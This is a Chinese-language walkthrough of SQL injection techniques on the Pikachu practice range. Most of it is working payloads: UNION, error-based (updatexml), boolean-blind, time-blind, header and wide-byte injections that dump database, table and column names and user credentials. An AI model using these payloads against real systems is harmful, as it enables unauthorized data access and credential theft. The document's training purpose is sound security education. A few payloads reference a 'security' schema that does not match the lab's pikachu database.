Pikachu靶场中SQL注入
1.Pikachu(皮卡丘)靶场中SQL注入
若遇到不链接的可以参考我的一篇文章,里面包括了绝大部分的注入方式,并且配合案例演示。链接:SQL注入基础原理与案例(超详细)
1.1.数字型注入
1)其实这里能够看到和dvwa靶场中的medium级别差不多,没有地方进行注入,只能进行抓包测试。
2)这里和上面的low级别一样,采用正常的联合查询。并且这里已经提示是数字型注入了,那么这里就不进行注入类型测试。直接查询显示位。
输入1 order by 3#发现报错,那么这里的数据库的列为1和2。
1 order by 3#
3)查询显示位名,输入-1 union select 1,2#
-1 union select 1,2#
4)查询数据库名,输入-1 union select database(),2#获取数据库名为:pikachu。
-1 union select database(),2#
5)获取数据库的表,输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“pikachu”# 通过获取到的数据库表,我们只需要里面的users。
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"#
6)获取数据库的列,输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#获取到数据库的所有列,而在里面我们只需要username和password。
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#
7)获取数据库的账号密码,输入-1 union select group_concat(username),group_concat(password) from users#获得账号密码,密码是加密的,可以进行解密就能获取到了。
-1 union select group_concat(username),group_concat(password) from users#
1.2.字符型注入
1)这里已经告诉了是字符型注入,但是还是需要测试一下什么闭合。输入kobe’ and 1=1#的时候页面正常,并且kobe’ and 1=2#页面不正常,证明使用单引号闭合。
kobe' and 1=1# 正常
kobe' and 1=2# 不正常
2)后面的注入方式和数字型基本一直,这里我就随便找几步进行测试。比如这里测试显示位。输入kobe’ order by 3#,就出现了报错。
kobe' order by 3#
3)查询数据库名,输入1’ union select database(),2#,上面是kobe而这里使用1就是为了让前面报错,执行后面的语句。
1' union select database(),2#
4)后面方式的和数字型注入都是一样的。
1.3.搜索型注入
1)这里的搜索型注入和上面的字符注入都是一样的,唯一的不同点是在里面需要使用%进行闭合,这个%是在源码中采用模糊查询,所使用到的,所以在我们注入的时候需要对这个%进行闭合。那么这里测试使用上面闭合的时候就需要输入k%’ and 1=1#这样就能够正常显示数据,当输入k%’ and 1=2#的时候就无法显示数据了。
k%' and 1=1#正常
k%' and 1=2#不正常
2)这里我们也不一步一步测试了,直接获取数据库输入k%’ union select database(),2,3#,可以看到我们也顺利获取数据库了。
k%' union select database(),2,3#
1.4.xx型注入
1)通过对输入的内容进行测试发现当输入kobe’) and 1=1#页面能够正常显示,而kobe’) and 1=2#则不能正常显示。那么这基本上可以判断此处是采用’)进行闭合。
kobe') and 1=1#正常
kobe') and 1=2#不正常
2)知道闭合了,那么就可以测试显示位了。这我测试得到的数据库是两列,而且输入kobe’) union select 1,2#后得到了显示位。
kobe') union select 1,2#
3)我们这里依旧只测试到获取数据库,其他的和数字型注入基本一直,除了闭合方式。kobe’) union select database(),2#,爆出数据库名。
kobe') union select database(),2#
1.5.insert/update注入
这里只是在注册处进行测试,当然还有修改信息的时候同样能够进行注入,可以自行测试。
1)这里就需要先进行注册,填入必填项,然后抓包。
2)把数据发入重放器中,并使用报错注入,在用户名后输入’ and updatexml(1,0x7e,3)and '进行测试,可以看到有报错回复。
' and updatexml(1,0x7e,3)and '
3)爆出数据库名,当输入’ and updatexml(1,concat(0x7e,database()),3) and '的时候就能够爆出数据库名,数据库名为pikachu。
' and updatexml(1,concat(0x7e,database()),3) and '
4)爆出数据库的表名,这里我们通过报错注入,获取到数据库的表名,但是我们只要users,其他的不感兴趣。主要是也用不到。
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),3) and '
5)爆出数据库的列名,当然这里是通过分页显示的,若不分页,显示的不全。
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)and '
6)爆出账号密码,都需要通过分页进行显示,若不分页则无法显示完全。
账号:' and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3)and '
密码:' and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3)and '
1.6.delete注入
1)这里先随便在留言板上输些内容,然后随便删除一个留言,并对其抓包。这里就会发现存在一个ID,可以对其进行注入测试。由于这里我们删除后并不会出现什么提示,所以这里使用报错注入测试。并且经过测试是数字型,字符型不会出现报错的内容。并且需要注意这里空格需要写出+或者%20。
id=57+and+updatexml(1,0x7e,3)
2)后续的注入测试和insert/update注入一样
1.7.http头注入
1)这里其实可以发现在登录后显示出很多信息,可以对这些显示信息的字段进行测试。
2)我们刷新页面重新抓包,经过测试发现在User-Agent: 和Accept:处可以进行注入。 这里我们就在User-Agent:进行测试。
' and updatexml(1,0x7e,3)and '
3)剩下的步骤和之前的一样的操作,这里就不过多操作了。
1.8.盲注(base on boolian)
1)在一些特定的情况下,会对报错信息进行隐藏,那么就无法使用报错进行注入。像这个就需要使用布尔盲注。
2)判断注入类型,通过对注入类型的判断,可以发现是使用单引号闭合。
kobe' and 1=1# 正常
kobe' and 1=2# 不正常
3)判断数据库名的长度,通过之前获取到的数据库名是pikachu。一共7位,当然在实际的环境中需要手动一步一步测试。
kobe' and length(database())>8# 不正常
kobe' and length(database())=7# 正常
4)判断数据库的名,判断数据库名需要一个一个字母测试,通过比对后,获取到的数据库名为pikachu,当然也可以使用ascii函数来进行获取。
kobe' and left(database(),1)='p'# 正常
kobe' and left(database(),2)='pi'# 正常
.........
kobe' and left(database(),7)='pikachu'# 正常
5)猜测数据库表的数量
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5# 不正常
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5# 正常
6)猜测数据库表名,这里也只猜测一个案例,其他的还需自己动手测试。这里我们通过之前获取到的数据库表名有httpinfo…users。
第一个表第一个字母是h。
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0, 1),1,1))=104# 正常
第四个表第二个字母是s。
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3, 1),2,1))=115# 正常
7)判断列有多少列,比如这里我判断user有多少列。
kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=4#
8)判断列中第一个列名的长度,通过控制limit的值来判断不同字段的长度。
kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 #
9)判断列名,比如这里我就判断id,那么id的一个字母是i在ascii码中是105,所以正常,第二列需要变更limit后面的值来实现。通过获取,获得id列、username列、password列。
第一列第一个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#
第二列第二个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115#
10)获取username中第一行数据的长度,若想测试第二行,那么修改limit的值即可。
kobe' and length((select username from users limit 0,1))=5#
11)获取username中第一行第一个字母的值。通过获取得到的值是a,整体是admin。
kobe' and ord(substr((select username from users limit 0,1),1,1))=97#
12)若想获取username中第二行第二个值怎么获取?可以通过修改limit的值进行获取。
kobe' and ord(substr((select username from users limit 1,1),2,1))=105#
1.9.盲注(base on time)
1)时间盲注,可以在对话框中输入用户名,不显示是否正确,那么这时候就需要使用到时间盲注。
2)使用时间盲注进行测试。这里使用原来的什么and 1=2啥的都不行了,需要使用时间盲注来测试,这里先测试闭合方式。
kobe and sleep(5)# 没有延迟
kobe' and sleep(5)# 延迟五秒
3)判断数据库名的长度,这里为了反应快点,把正确和错误的位置调整一下,把 sleep (5),1 调整为 sleep (1),5 意思就是正确了秒回,不正确则延迟5 秒返回。
kobe' and if(length(database())=7, sleep(1),5)#
4)判断数据库名。
kobe' and if((select substr(database(),1,1))='p',sleep(1),5)#
5)判断数据库内表的个数。
kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(1),5)#
6)判断第一个表的长度。
kobe' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(1),5)#
7)判断第一个表第一个字母。
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(1),5)#
8)其实时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。
1.10.宽字节注入
1)宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个 字符是一个汉字(前一个 ascii 码要大于 128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql 会调用转义函数,将单引号变为’,其中\的十 六进制是%5c,mysql 的 GBK 编码,会认为%df%5c 是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
2)测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。
1%df' union select 1,2#